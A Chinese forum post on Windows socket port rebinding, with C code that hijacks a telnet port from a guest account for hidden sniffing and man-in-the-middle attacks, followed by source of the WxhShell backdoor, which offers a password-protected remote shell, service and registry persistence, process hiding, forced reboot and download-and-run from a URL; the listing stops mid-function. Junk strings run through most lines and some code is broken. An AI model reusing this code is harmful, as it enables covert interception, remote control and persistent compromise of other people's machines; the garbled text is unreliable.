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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6aXsRhQ~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _av%`bb&z9  
bXC;6xZV  
  saddr.sin_family = AF_INET; b> &kL  
FV!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _H<ur?G  
-Y2h vC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'R,1Jmx  
*.n9D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T->O5t c  
Y&]pC  
  这意味着什么?意味着可以进行如下的攻击: 3QM.X^ANH  
|P>> ^,iUn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2px l!  
/vwGSuk._  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }NiJDs  
OfbM]:}<3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u L/*,[}'  
f*bs{H'5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3 3s.p'  
`+k&]z$m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \CX`PZ><  
adHHnH`,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6(<M.U_ft  
b?h"a<7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r6*0H/*  
i,$*+2Z  
  #include d+ql@e]  
  #include u`R  
  #include xa5I{<<U  
  #include    D.)R8X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `cMa Fc-y/  
  int main() ^A;v|U  
  { {*yhiE,  
  WORD wVersionRequested; &HT P eB  
  DWORD ret; |JnJ=@-y  
  WSADATA wsaData; "a>%tsl$K  
  BOOL val; Q R\qGhQ~  
  SOCKADDR_IN saddr; =Q[ 5U9  
  SOCKADDR_IN scaddr; Go+f0aig  
  int err; ){icI <  
  SOCKET s; i[T!{<  
  SOCKET sc; y~]>J^  
  int caddsize; 0waQw7 E  
  HANDLE mt; h8 $lDFo  
  DWORD tid;   \b{=&B[Q$'  
  wVersionRequested = MAKEWORD( 2, 2 ); Pdrz lu   
  err = WSAStartup( wVersionRequested, &wsaData ); \;$j "i&  
  if ( err != 0 ) { !!DHfAV]  
  printf("error!WSAStartup failed!\n"); KokmylHu  
  return -1; ,^`+mP  
  } =cX &H  
  saddr.sin_family = AF_INET; {UvZ  
   !E4YUEY 6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GyRU/0'BME  
"qMd%RP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y GvtG U-  
  saddr.sin_port = htons(23); G0xk @SE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FgKDk!ci  
  { p/4GOU5g  
  printf("error!socket failed!\n"); $ [0  
  return -1; -YJ7ne]  
  } 4B^f"6'  
  val = TRUE; 5 ,quM"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gdNEMT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) > ~J&i3  
  { /2~qm/%Q  
  printf("error!setsockopt failed!\n"); f0O"Hm$Z  
  return -1; lk)38.  
  } P9SyQbcK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5ju\!Re3X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =Pd3SC})6V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |J?KHI  
cK1r9ED|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Bd31> %6  
  { doW_v u  
  ret=GetLastError(); 5O]ph[7  
  printf("error!bind failed!\n"); at/besW  
  return -1; I[c/) N  
  } T%VC$u4F  
  listen(s,2); C8e{9CF  
  while(1) qI5_@[S*  
  { 6zaO$  
  caddsize = sizeof(scaddr); ZdY:I;)s  
  //接受连接请求 0\k2F,:%4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "!+q0l1]@  
  if(sc!=INVALID_SOCKET) p*8=($j4  
  { ?2E@)7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XSpX6fq  
  if(mt==NULL) d+\o>x|Y!Y  
  { ApG_Gd.  
  printf("Thread Creat Failed!\n"); P I)lJ\  
  break; .Q>.|mu  
  } r@%-S!$  
  } */u_RJ  
  CloseHandle(mt); ]wc'h>w  
  } l _dWS9  
  closesocket(s); 5,Mc` IIK1  
  WSACleanup(); ~Yb5F YE  
  return 0; |zKFF?7#wE  
  }   `DUMTFcMX  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'W@X139zq  
  { x32hO;  
  SOCKET ss = (SOCKET)lpParam; #||^l_  
  SOCKET sc; )4toBDg"  
  unsigned char buf[4096]; 6`J*{%mP  
  SOCKADDR_IN saddr; ;1'X_tp  
  long num; >DP9S@W  
  DWORD val; LD0x 4zm$m  
  DWORD ret; .Wc<(pfa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~+/IzckrG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wj(O_2  
  saddr.sin_family = AF_INET; @aAB#,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Tuo`>ZA  
  saddr.sin_port = htons(23); RpOGY{[)[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cGIxE[n'  
  { @ 4#q  
  printf("error!socket failed!\n"); 0r*E$|zZ  
  return -1; .hzzoLI2  
  } zn@<>o8hU  
  val = 100; X3-pj<JLY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b8r?Dd"T8  
  { '=Nb`n3%  
  ret = GetLastError(); bC{}&a  
  return -1; F>d B@V-  
  } | (JxtQqQg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M%92 ^;|`  
  { #^|y0:  
  ret = GetLastError(); Nj rF":'Y  
  return -1; EZ:pcnL {  
  } ? %XTD39  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %JF^@\E!|  
  { C& BRyo  
  printf("error!socket connect failed!\n"); `*g(_EZsS  
  closesocket(sc); ,&e0~  
  closesocket(ss); 'y[74?1  
  return -1; ($pNOG H  
  } MKf|(6;~  
  while(1) ?x1sm"]p'  
  { _kg<K D=P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %UT5KYd!=N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @a$_F3W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n?!XNXb  
  num = recv(ss,buf,4096,0); S81% iz.n  
  if(num>0) BZ* ',\o  
  send(sc,buf,num,0); j)xRzImu  
  else if(num==0) lqe|1vN  
  break; Y3=5J\d!a  
  num = recv(sc,buf,4096,0); (H5nz':  
  if(num>0) Iv+JEuIi  
  send(ss,buf,num,0); ,h,OUo]LIY  
  else if(num==0) /Jj7 +?  
  break; c!*yxzs\  
  } kw{dvE\K  
  closesocket(ss); 1y'8bt~7Pf  
  closesocket(sc); C~-x637/  
  return 0 ; kl%%b"h'  
  } M15Ce)oB1(  
d9e_slx  
Kh&W\\K  
========================================================== 'K&^y%~py,  
7^)8DwAl  
下边附上一个代码,,WXhSHELL -<H\VT%98  
0)F.Y,L  
========================================================== Z.'j7(tu  
QOiPDu=8z  
#include "stdafx.h" \kWL:uU  
iMjoa tt  
#include <stdio.h> (+uM |a  
#include <string.h> PkX4 !  
#include <windows.h> W>TG!R 5  
#include <winsock2.h> 0,~||H{  
#include <winsvc.h> kb3>q($  
#include <urlmon.h> x3DUz  
,2oFt\`.r  
#pragma comment (lib, "Ws2_32.lib") Voy1  
#pragma comment (lib, "urlmon.lib") 6$/Z.8  
Q\Wh]=}  
#define MAX_USER   100 // 最大客户端连接数 mxD]`F  
#define BUF_SOCK   200 // sock buffer QiH>!Ssw  
#define KEY_BUFF   255 // 输入 buffer K|L&mL&8  
vT@*o=I  
#define REBOOT     0   // 重启 ;>hRj!  
#define SHUTDOWN   1   // 关机 )|3BS`  
B|d-3\sn  
#define DEF_PORT   5000 // 监听端口 Y*VF1M,2_  
3bYP i^  
#define REG_LEN     16   // 注册表键长度 )R6h 1  
#define SVC_LEN     80   // NT服务名长度 ]gjQy.c|  
d ~#B,+  
// 从dll定义API jkAWRpOc)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]#k=VKdV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TrCut 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n8 UG{. =  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lb]!TOl  
)7]la/0  
// wxhshell配置信息 x{DTVa 6y2  
struct WSCFG { j<NZ4Rf  
  int ws_port;         // 监听端口 0JT"Pv_  
  char ws_passstr[REG_LEN]; // 口令 D/[;Y<X#V  
  int ws_autoins;       // 安装标记, 1=yes 0=no JuW"4R  
  char ws_regname[REG_LEN]; // 注册表键名 Gh%R4)}  
  char ws_svcname[REG_LEN]; // 服务名 u ,R R|/@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =csh=V@s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H4B|c42  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F $/7X~*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 21k,{FB'?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =/5^/vwgY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hY5GNYDh  
j(~e{HZ  
}; 3d>8~ANi=%  
&u`EYxT  
// default Wxhshell configuration qu\cU(H|  
struct WSCFG wscfg={DEF_PORT, 8k{KnH  
    "xuhuanlingzhe", Mi~x(W@}3  
    1, k3(q!~a:.}  
    "Wxhshell", :+_uyp2V  
    "Wxhshell", E] 6]c!2:  
            "WxhShell Service", jOUM+QO  
    "Wrsky Windows CmdShell Service", F(O"S@  
    "Please Input Your Password: ", +Y?) ?  
  1, h* 72 f/#  
  "http://www.wrsky.com/wxhshell.exe", ^>Vl@cW0uz  
  "Wxhshell.exe" s(Y2]X4 (  
    }; $E/N  
} ~NM\rm  
// 消息定义模块 C5Vlqc;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d`gKF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aD^jlt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^(kmFUV,Z  
char *msg_ws_ext="\n\rExit."; w#v-h3XcF  
char *msg_ws_end="\n\rQuit."; }j$tFFVi~  
char *msg_ws_boot="\n\rReboot..."; MgO_gFr  
char *msg_ws_poff="\n\rShutdown..."; ^HhV ?Iqg  
char *msg_ws_down="\n\rSave to "; n\ 'PNB  
E3LEeXcLS  
char *msg_ws_err="\n\rErr!"; %W}YtDf\  
char *msg_ws_ok="\n\rOK!"; &w!(.uDO  
e0<Wed  
char ExeFile[MAX_PATH]; u>ZH-nw O  
int nUser = 0; FMX ^k  
HANDLE handles[MAX_USER]; y(ceEV  
int OsIsNt; 23d*;ri5  
redMlHM  
SERVICE_STATUS       serviceStatus; 0fGt7 "Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xX?9e3(  
d>gQgQ;g  
// 函数声明 r>#4Sr  
int Install(void); frokl5L@  
int Uninstall(void); 2BKiA[ ;;  
int DownloadFile(char *sURL, SOCKET wsh); kyi"U A82  
int Boot(int flag); +iqzj-e&e[  
void HideProc(void); 1B#iJZ}  
int GetOsVer(void); `@xnpA]l  
int Wxhshell(SOCKET wsl); f AY(ro9Q(  
void TalkWithClient(void *cs); 7@R^B=pb  
int CmdShell(SOCKET sock); LC7%Bfn!  
int StartFromService(void); o2D;EUsNX  
int StartWxhshell(LPSTR lpCmdLine); 0.\}D:x(z  
x) jc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?8qN8rk^+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %Rt 5$+dNT  
Nwj M=GG  
// 数据结构和表定义 u4tv= +jh  
SERVICE_TABLE_ENTRY DispatchTable[] = Tn"@u&P *  
{ 7{tU'`P>  
{wscfg.ws_svcname, NTServiceMain}, W|Cs{rBc?  
{NULL, NULL} 99\lZ{f(  
}; +[ng99p  
V%(T#_E/6  
// 自我安装 An_3DrUFV_  
int Install(void) KVevvy)W  
{ 2]y Hxo/6  
  char svExeFile[MAX_PATH]; \[G"/]J  
  HKEY key; ;qO3m -(d  
  strcpy(svExeFile,ExeFile); Kv)Kn8df  
f?r{Q  
// 如果是win9x系统,修改注册表设为自启动 AJ>$`=  
if(!OsIsNt) { ]VR79l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #<y/m*Ota  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O7%8F Y  
  RegCloseKey(key); [!C!R$AMa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |No9eZ8>.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _?]W%R|  
  RegCloseKey(key); |!81M|H  
  return 0; U2r[.Ru  
    } ? o&goiM  
  } v^J']p  
} ]UkqPtG;  
else { ^6gEL~m|]  
t33\f<e  
// 如果是NT以上系统,安装为系统服务 n%;4Fm?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s{OV-H  
if (schSCManager!=0) `z`=!1  
{ `,O"^zR)z  
  SC_HANDLE schService = CreateService VnqcpJ  
  ( ?E,-P!&R  
  schSCManager, Scug wSB  
  wscfg.ws_svcname, 3&I3ViAH  
  wscfg.ws_svcdisp, Rh!m1Q(-  
  SERVICE_ALL_ACCESS, 2Lytk OMf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <isU D6TC  
  SERVICE_AUTO_START, ._]*Y`5)d  
  SERVICE_ERROR_NORMAL, m70AWG  
  svExeFile, .+mP#<mAg  
  NULL, Lf:#koaC  
  NULL, guVuO  
  NULL, ~# \{'<  
  NULL, rmi&{o:  
  NULL IA Ws}xIly  
  ); 9@?|rj e9  
  if (schService!=0) b'C#]DorE  
  { H2xDC_Fs  
  CloseServiceHandle(schService); KSJ+3_7 ]k  
  CloseServiceHandle(schSCManager); E@%1HO_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L{GlDoFk  
  strcat(svExeFile,wscfg.ws_svcname); Z<W f/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h@]{j_$u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CfO{KiM(2  
  RegCloseKey(key); P'SGt  
  return 0; -aLM*nIoe  
    } fu{v(^  
  } vM-kk:n7f  
  CloseServiceHandle(schSCManager); AHMvh 7O?  
} S?zP; iFj  
} Q@|"xKa  
>sdF:(JV&  
return 1; #S] O|$&*  
} Q E pCU)  
Xg l %2'  
// 自我卸载 mhM;`dl  
int Uninstall(void) +vH#xc\'  
{ R%~~'/2V  
  HKEY key; #V)l>  
j+>[~c;0)  
if(!OsIsNt) { -tx%#(?wH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [VLq/lg*  
  RegDeleteValue(key,wscfg.ws_regname); I %sw(uoE  
  RegCloseKey(key); "$b{EYq6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q,_E HPc  
  RegDeleteValue(key,wscfg.ws_regname); N?8nlrDQ  
  RegCloseKey(key); Q-A_8  
  return 0; iaQfxQP1w%  
  } EiP N44(  
} @My RcC  
} &xvNR=K[`  
else { \),zDO+  
V)4?y9xZv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rLY I\  
if (schSCManager!=0) I. Xbowl  
{ Hq~SRc~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \acGSW .c  
  if (schService!=0) ny!80I  
  { 8Ht=B,7T  
  if(DeleteService(schService)!=0) { M04u>| ,  
  CloseServiceHandle(schService); IF@vl  
  CloseServiceHandle(schSCManager); 5!wjYQt3  
  return 0; /cVZ/"  
  } vR pO0qG  
  CloseServiceHandle(schService); gv&Hu$ ca  
  } )Jw$&%/{1  
  CloseServiceHandle(schSCManager); oLtzPC  
} [S-#}C?~  
} /XA*:8~!  
9xK#( M  
return 1; bdvpH DA  
} WRRR"Q$  
!b+!] 2~g}  
// 从指定url下载文件 D(&Zq7]n  
int DownloadFile(char *sURL, SOCKET wsh) t8;nP[`  
{ rWqr-"0S.  
  HRESULT hr; Z#l6BXK  
char seps[]= "/"; "uj@!SEs`?  
char *token; 4/_! F'j  
char *file; 6JeAXj1g+  
char myURL[MAX_PATH]; @HE?G  
char myFILE[MAX_PATH]; BlM(Q/z  
U ]B-B+-  
strcpy(myURL,sURL); arS@l<79  
  token=strtok(myURL,seps); 5E 9R+N  
  while(token!=NULL) Bk@EQdn  
  { :c Er{U8  
    file=token; jwuSne  
  token=strtok(NULL,seps); {9) HB:  
  } {%RwZ'  
ooCfr?E  
GetCurrentDirectory(MAX_PATH,myFILE); }IdkXAB.  
strcat(myFILE, "\\"); * bhb=~  
strcat(myFILE, file); [jxh$}?P  
  send(wsh,myFILE,strlen(myFILE),0); ]GsI|se  
send(wsh,"...",3,0); G)f!AuN=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !aJ6Uf%R  
  if(hr==S_OK) 0-uVmlk=/  
return 0; \IEuu^  
else g&Uu~;jq]  
return 1; l>hvWK[ ?I  
'#oH1$W]  
} *.VNyay  
2S4SG\  
// 系统电源模块 `Tk~?aY  
int Boot(int flag) -i_XP]b&  
{ jLY$P<u?%P  
  HANDLE hToken; f)V6VNW.3  
  TOKEN_PRIVILEGES tkp; d+5v[x~'  
DMSC(Sz  
  if(OsIsNt) { ;#8xRLW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .$Yp~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E8t{[N6d  
    tkp.PrivilegeCount = 1; <xrya _R?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s;[=B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X`-o0HG  
if(flag==REBOOT) { bb+iUV|Do  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f]C^{Uk#  
  return 0; - (q7"h  
} et(AO)uv6  
else { "ub0}p4V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r^ '  
  return 0; RMid}BRE  
} DK'S4%;Sp  
  } \C2HeA\#SW  
  else { Gv[(0  
if(flag==REBOOT) { 7 9k+R9m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P?jI:'u!R.  
  return 0; NF-@Q@  
} 4af^SZ )l  
else { `D$RL*C;M`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j0n.+CO-{  
  return 0; )(c%QWz  
} v-"nyy-&Z  
} !kH 1|  
0,8RA_Ca}  
return 1; l%?()]y  
} 92N`Q}  
\J;]g\&I"  
// win9x进程隐藏模块 & IsPqO  
void HideProc(void) ICc:k%wE7  
{ rZ.z!10  
o,?h}@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *D`$oK,U  
  if ( hKernel != NULL ) 6TXTJ]er  
  { 7&w[h4Lw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n;:C{5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =rkW325O  
    FreeLibrary(hKernel); u_8Z^T  
  } ^i8(/iwdJE  
}}"|(2I  
return; PeLzZ'$D  
} (B?ZUXM,  
m& D#5C  
// 获取操作系统版本 vTWm_ed+^  
int GetOsVer(void) Bo'v!bI7  
{ 5aXE^.`  
  OSVERSIONINFO winfo; ~\<L74BB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6['o^>\}f  
  GetVersionEx(&winfo); &]A0=h2{P*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MlW*Tugg  
  return 1; g; 7u-nP  
  else tDMNpl  
  return 0; )M"xCO3a  
} >LPIvmT4D?  
K*p3#iB  
// 客户端句柄模块 3BF3$_u)o  
int Wxhshell(SOCKET wsl) C AN1~  
{ nV8iYBBym  
  SOCKET wsh; ,s:viXk  
  struct sockaddr_in client; _NpxV'E  
  DWORD myID; U8,pe;/ln`  
e+<9Sh7&  
  while(nUser<MAX_USER) 5ci1ce  
{ T {=&>pNK[  
  int nSize=sizeof(client); 'tjqfR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6* 0vUy*"  
  if(wsh==INVALID_SOCKET) return 1; lvLz){  
p9S>H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [| N73m,&  
if(handles[nUser]==0) !\^W*nQ>l  
  closesocket(wsh); dx$+,R~y  
else O]j<$GG!  
  nUser++; d b *J  
  } #3A|Z=,5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *D1vla8  
+c__U Qx  
  return 0; 2lqy<o  
} o*oFCR]j  
YgjN*8w\  
// 关闭 socket 9o3?  
void CloseIt(SOCKET wsh) k-)Ls~#+  
{ 2h)Qz+|7  
closesocket(wsh); }KEr@h,N  
nUser--; *u< ZQq  
ExitThread(0); ToD_9i }6  
} D.ySnYzh  
_N0N #L4M  
// 客户端请求句柄 /a6i`  
void TalkWithClient(void *cs) 2@I0p\a  
{ J6<O|ng::  
Nx E=^ v  
  SOCKET wsh=(SOCKET)cs; t >.=q:  
  char pwd[SVC_LEN]; 1jaK N*  
  char cmd[KEY_BUFF]; cIP%t pTW.  
char chr[1]; +*aC \4w  
int i,j; _1~pG)y$U  
Vjd>j; H  
  while (nUser < MAX_USER) { Tk `|{Ph0  
vcaPd}nf  
if(wscfg.ws_passstr) { JC;&]S.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  _~S[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %joU}G;"  
  //ZeroMemory(pwd,KEY_BUFF); JU)k+:\a  
      i=0; z*9 ke  
  while(i<SVC_LEN) { rd)W+W9  
u1\r:q  
  // 设置超时 *M$'dLn  
  fd_set FdRead; MT$)A:"  
  struct timeval TimeOut; 8Dn~U :F/?  
  FD_ZERO(&FdRead); wzBw5n f\  
  FD_SET(wsh,&FdRead); Yb1Q6[!  
  TimeOut.tv_sec=8; a>Zp?*9  
  TimeOut.tv_usec=0; sk AF6n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {i}E)Np  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bfy=  
!/=.~B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zJ@^Bw;A^@  
  pwd=chr[0]; ntW1 )H'o  
  if(chr[0]==0xd || chr[0]==0xa) { S,Tc\}  
  pwd=0; QZ*gR#K]Sz  
  break; [ugr<[6  
  } MV07RjeS  
  i++; G&"O)$h  
    } q;7DH4;t  
}]JHY P\  
  // 如果是非法用户,关闭 socket aM(x--UR=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \xQu*M:!  
} 7:<A_OLi  
+oL@pp0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \1QY=}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *kEzGgTzoS  
'K#ndCGJ$  
while(1) { %joL}f[  
 L|6I  
  ZeroMemory(cmd,KEY_BUFF); 4yjIR?  
\k^ojzJ  
      // 自动支持客户端 telnet标准   8 VhU)fY  
  j=0; g!9|1z  
  while(j<KEY_BUFF) { l[rK)PM   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I0!]J{  
  cmd[j]=chr[0]; j0s$}FPUI  
  if(chr[0]==0xa || chr[0]==0xd) { o^m?w0 \  
  cmd[j]=0; 5G$5d:[(  
  break; !e*T. 1Kz  
  } 5HIQw9g6  
  j++; FYK`.>L28  
    } W+5. lf=2>  
2U( qyC  
  // 下载文件 0N$FIw2  
  if(strstr(cmd,"http://")) { %$i}[ U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W+$G{XSr5C  
  if(DownloadFile(cmd,wsh)) ./L)BLC i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \PcnD$L  
  else dC|6z/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o?6m/Klw6  
  } `*U$pg  
  else { r4<aEj;l  
l5\V4  
    switch(cmd[0]) { QHc([%oV  
  O%N.;Ve  
  // 帮助 8@RtL,[d  
  case '?': { oR/_{#Mz"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \ Ce*5h  
    break; )a x>*  
  } o{^`Y   
  // 安装 KHgn  
  case 'i': { d ez4g  
    if(Install()) ]}p<P):hO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ge<D}6GQ  
    else ._Ww  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lW|v_oP9  
    break; Aa4Tq2G  
    } j4+Px%sW  
  // 卸载 JodD6 ;P  
  case 'r': { Ks@c wY  
    if(Uninstall()) >[;=c0(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*T?}r>  
    else >P&1or)e%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@JusS0^K  
    break; $EX(-!c  
    } _(I6o  
  // 显示 wxhshell 所在路径 =I@I  
  case 'p': { 0U H]  
    char svExeFile[MAX_PATH]; \4^rb?B  
    strcpy(svExeFile,"\n\r"); (<8}un  
      strcat(svExeFile,ExeFile); c?u*,d) G  
        send(wsh,svExeFile,strlen(svExeFile),0); RS l*u[fB  
    break; M.r7^9P  
    } B?- poB&  
  // 重启 - l^3>!MAM  
  case 'b': { 9 <{C9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =:]v~Ehq  
    if(Boot(REBOOT)) 7 )r L<+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _53~D=  
    else { mt`CQz"_  
    closesocket(wsh); RHMXPsj  
    ExitThread(0); Lj9RF<39g  
    } t(9q 6x3|e  
    break; }m~MN4 l  
    } @un+y9m[C  
  // 关机 S2_(lS+R  
  case 'd': { L+(ng  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zsJermF,O  
